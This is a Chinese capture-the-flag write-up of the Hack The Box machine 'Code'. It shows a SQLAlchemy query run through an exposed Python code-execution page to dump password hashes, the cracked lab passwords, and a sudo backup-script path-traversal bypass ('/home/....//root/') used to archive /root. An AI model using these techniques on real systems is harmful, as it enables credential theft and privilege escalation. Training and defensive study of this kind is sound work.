介绍

靶机链接: https://app.hackthebox.com/machines/Code
靶机 IP: 10.10.11.62

本次 Hackthebox 靶机 “Code” 的目标是利用一个运行在 5000 端口的 Python 代码编辑器,通过代码执行漏洞获取用户凭据,然后利用 backy.sh 备份脚本的漏洞进行提权,最终获取 root 权限。

思路:

  1. 信息收集:使用Nmap发现开放的5000端口运行Python代码执行服务
  2. 漏洞发现:利用SQLAlchemy ORM进行数据库查询获取用户凭据
  3. 获取立足点:使用破解的用户凭据进行SSH登录
  4. 权限提升:利用备份脚本backy.sh的路径解析漏洞访问受限目录

一、信息收集

首先使用 Nmap 进行端口扫描

Nmap 扫描结果:

image-20250330162624200

  1. 发现开放的22(SSH)和5000(HTTP)端口。5000端口运行着"Python Code Execution Page"。
  2. 确定Web框架
    • 尝试Django ORM语法:User.objects.all()(失败)
    • 尝试SQLAlchemy语法:User.query.all()(成功)
    • 确认目标使用SQLAlchemy作为ORM框架
1
2
users = db.session.query(User).all()
print([(u.id, u.username, u.password) for u in users])

代码执行结果:

image-20250330162514860

成功查询到用户 developmentmartin 的信息,包括用户名和密码哈希值

使用CrackStation在线破解获得明文密码

密码破解结果:

image-20250330164849861

成功破解出两个用户的明文密码:

用户 ID 用户名 密码哈希 (Password Hash) 哈希类型 (Hash Type) 已破解密码 (Cracked Password)
1 development 759b74ce43947f5f4c91aeddc3e5bad3 md5 development
2 martin 3de6f30c4a09c27fc71932bfc68474be md5 nafeelswordsmaster

尝试使用破解的密码进行 SSH 登录。

1
2
ssh development@10.10.11.62  # 失败
ssh martin@10.10.11.62 # 成功(密码:nafeelswordsmaster)

image-20250330165204575

二、userFlag

登录 martin 用户后,首先查看用户目录下的文件,发现 backups 目录。

进入 backups 目录,查看目录内容,没有发现 user.txt 文件。

输入 sudo -l 命令查看当前用户可以以 sudo 权限执行的命令。

image-20250330170439668

image-20250331144615445

image-20250330170826720

发现 martin 用户可以使用 sudo 权限执行 /usr/bin/backy.sh 脚本,这可能是一个提权点。

查看 /usr/bin/backy.sh 脚本的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
cat /usr/bin/backy.sh
#!/bin/bash

if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi

# 定义了允许备份的路径前缀,只允许备份以 /var/ 或 /home/ 开头的目录
allowed_paths=("/var/" "/home/")

# 使用 jq 工具处理JSON文件,删除 directories_to_archive 数组中所有路径中的 ../ 序列
# 这里在尝试防止目录遍历,但它只替换了确切的 ../ 字符串
# gsub("\\.\\./"; ""): 这是 gsub 函数,用于全局替换字符串。
# "\\.\\./": 要被替换的 正则表达式。 \\. 表示转义后的点号 (.), \. 表示字面意义的点号。 .. 就是字面意义的 ".."。 所以
# \\.\\./ 匹配的是字符串 ../。
# "": 替换成空字符串。

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}

for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done

/usr/bin/backy "$json_file"
martin@code:~$

分析 backy.sh 脚本,发现其主要功能如下:

  1. 参数检查: 必须传入 JSON 配置文件路径(例如 task.json)。
  2. 路径过滤: 使用 jq 移除 directories_to_archive 中的 ../,防止目录遍历攻击,可以使用 ....// 这样的序列,当 ../ 被移除后,会变成 ../
  3. 路径限制: 只允许备份 /var//home/ 开头的目录。
  4. 备份操作: 使用 tar 命令将指定目录打包备份到指定目标路径。

进入 backups 目录,查看已存在的 task.json 文件内容。

查看 task.json 文件内容:

image-20250331145548101

task.json 文件的内容配置了备份 /home/app-production/app 目录到 /home/martin/backups/ 目录。

尝试执行 sudo /usr/bin/backy.sh task.json 命令,测试备份脚本是否正常工作。

image-20250330172053945

image-20250330172657882

脚本成功执行,并在 /home/martin/backups/ 目录下生成了一个压缩包 code_home_app-production_app_xxxx_xxxx.tar.bz2

解压该压缩包,验证备份内容。

解压备份文件:

image-20250331124548226

解压后发现,备份脚本确实将 /home/app-production/app 目录下的所有内容都备份到了压缩包中。 这意味着我们可以通过修改 task.json 文件,让备份脚本备份其他目录,从而提取敏感信息。

修改 task.json 文件,将 directories_to_archive 修改为 "/home/app-production/",目标是备份 /home/app-production/ 目录,以获取 userFlag

修改后的 task.json 文件内容 (获取 userFlag):

image-20250331125134164

再次执行 sudo /usr/bin/backy.sh task.json 命令。

执行 sudo /usr/bin/backy.sh task.json (获取 userFlag):

image-20250331125707805

脚本成功执行,并在 /home/martin/backups/ 目录下生成了新的压缩包。 解压该压缩包,找到 user.txt 文件,即可获取 userFlag。

三、rootFlag

既然 userFlag 可以通过修改 task.json 文件获取,那么 rootFlag 也同理,我们可以尝试修改 task.json 文件来备份 root 目录。

尝试将 task.json 文件修改为备份 /root 目录。 由于 backy.sh 脚本会过滤掉 ../,为了绕过路径检查,我们使用路径 /home/....//root/。 这个路径在 Linux 文件系统中会被解析为 /root 目录。

1
2
3
4
5
6
7
8
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/home/....//root/"
]
}

修改后的 task.json 文件内容,cat 进行查看发现 …/ 已经被过滤(获取 rootFlag):

可以看到,directories_to_archive 已经修改为 "/home/../root/"

image-20250331141919626

可以看到,backy.sh 脚本执行成功,并且 tar 命令开始打包 /home/../root/ 目录下的文件。从输出信息 Archiving: [/home/root]tar: Removing leading '/home/../' 可以看出,backy.shtar 都正确地处理了这个路径,最终备份的目标是 /root 目录。

image-20250331142045180

发现 root 目录!

image-20250331142142058

image-20250331141619024

安全建议

  1. 代码编辑器安全: 避免对外暴露不必要的服务,例如代码编辑器。如果必须使用,请确保代码编辑器本身的安全,并进行严格的权限控制和输入验证,防止代码执行漏洞。
  2. 脚本安全: 对于具有高权限 (sudo) 的脚本,必须进行严格的安全审计,防止被恶意利用。 特别是要仔细检查脚本对用户输入 (例如配置文件) 的处理,防止路径遍历、命令注入等漏洞。
  3. 最小权限原则: 运行脚本和服务的用户,应遵循最小权限原则,避免赋予不必要的权限。
  4. 安全配置: 对于备份脚本,应仔细配置备份策略,例如限制备份目录范围,避免备份敏感数据。

© Rabbit 使用 Stellar 创建

✨ 营业:

共发表 56 篇Blog 🔸 总计 123.6k